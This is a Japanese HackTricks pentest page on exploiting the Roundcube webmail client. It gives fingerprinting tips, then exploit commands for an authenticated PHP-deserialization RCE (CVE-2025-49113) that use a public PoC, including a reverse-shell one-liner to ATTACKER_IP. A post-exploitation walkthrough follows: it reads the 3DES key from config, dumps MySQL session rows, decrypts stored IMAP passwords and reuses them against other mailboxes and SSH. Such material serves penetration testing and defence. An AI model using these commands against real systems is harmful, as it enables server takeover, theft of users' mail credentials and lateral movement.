Roundcube

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

Roundcube は一般的に HTTP(S) の vhost(例: mail.example.tld)で公開される PHP webmail クライアントです。有用なフィンガープリント:

  • HTML ソースはしばしば leaks rcversion(例: window.rcmail && rcmail.env.rcversion)
  • コンテナ/VM 環境のデフォルトアプリパス: /var/www/html/roundcube
  • 主要設定ファイル: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

影響を受けるバージョン(ベンダー/NVDによる):

  • 1.6.x (1.6.11 より前)
  • 1.5.x (1.5.10 より前)

問題の要約

  • program/actions/settings/upload.php の _from パラメータは検証されておらず、攻撃者が制御するデータの注入を可能にします。Roundcube は後でそのデータを unserialize し、gadget chain の実行や web コンテキストでの remote code execution (post‑auth) につながります。

簡易なエクスプロイト

  • 要件: 有効な Roundcube 資格情報と到達可能な UI URL(例: http://mail.target.tld)
  • Public PoC はセッション処理、gadget crafting、upload flow を自動化します
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

注意

  • 出力は多くの場合ブラインドです。RCE を検証するには sleep N を使用してください
  • 生成されたシェルは通常 www-data として実行されます。コンテナ化されたデプロイでは /.dockerenv と 172.17.0.0/16 のネットワークを想定してください

Post‑exploitation: Roundcube セッションから IMAP パスワードを回復

Roundcube は現在のユーザーの IMAP パスワードをセッション(データベース)内に保存しており、config.inc.php に設定されたサーバー側の 3DES キーで暗号化されています。Roundcube ホストのファイルシステムまたは DB にアクセスできれば、平文パスワードを復元して他のメールボックスやサービスにピボットできます(SSH の再利用がよくあります)。

  1. config から DB DSN と 3DES キーを読み取る

config/config.inc.php には通常次のような内容が含まれます:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. DB に接続して sessions を dump
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

session.vars フィールドは Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ) によって生成された Base64 blob です。Base64‑decoding 後の最初の 8 バイトが IV です。

  1. パスワードフィールドを特定する

復号された構造内の認証情報を見つける簡単な方法は、まず vars フィールドを Base64‑decode し、シリアライズされたエントリを目視で確認することです:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Roundcube のヘルパーを使用して復号する

Roundcube は同じ rcmail->decrypt() ロジックと設定された des_key を使用する CLI を同梱しています:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. 手動 3DES-CBC 復号(オプション)
  • 暗号文フォーマット: Base64( IV(8B) || CT )
  • アルゴリズム: 3DES-CBC、鍵長 24B、PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

一般的な場所

  • DB テーブル: session (users テーブルはログイン名を ID にマップします)
  • 設定パス: /var/www/html/roundcube/config/config.inc.php

運用での利用

  • 古い session 行には以前のユーザーの IMAP パスワードが含まれていることが多い。複数エントリを復号して他のメールボックスへ横移動する
  • 認証情報の再利用が疑われる場合、回収した認証情報を SSH や他のサービスで試す

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする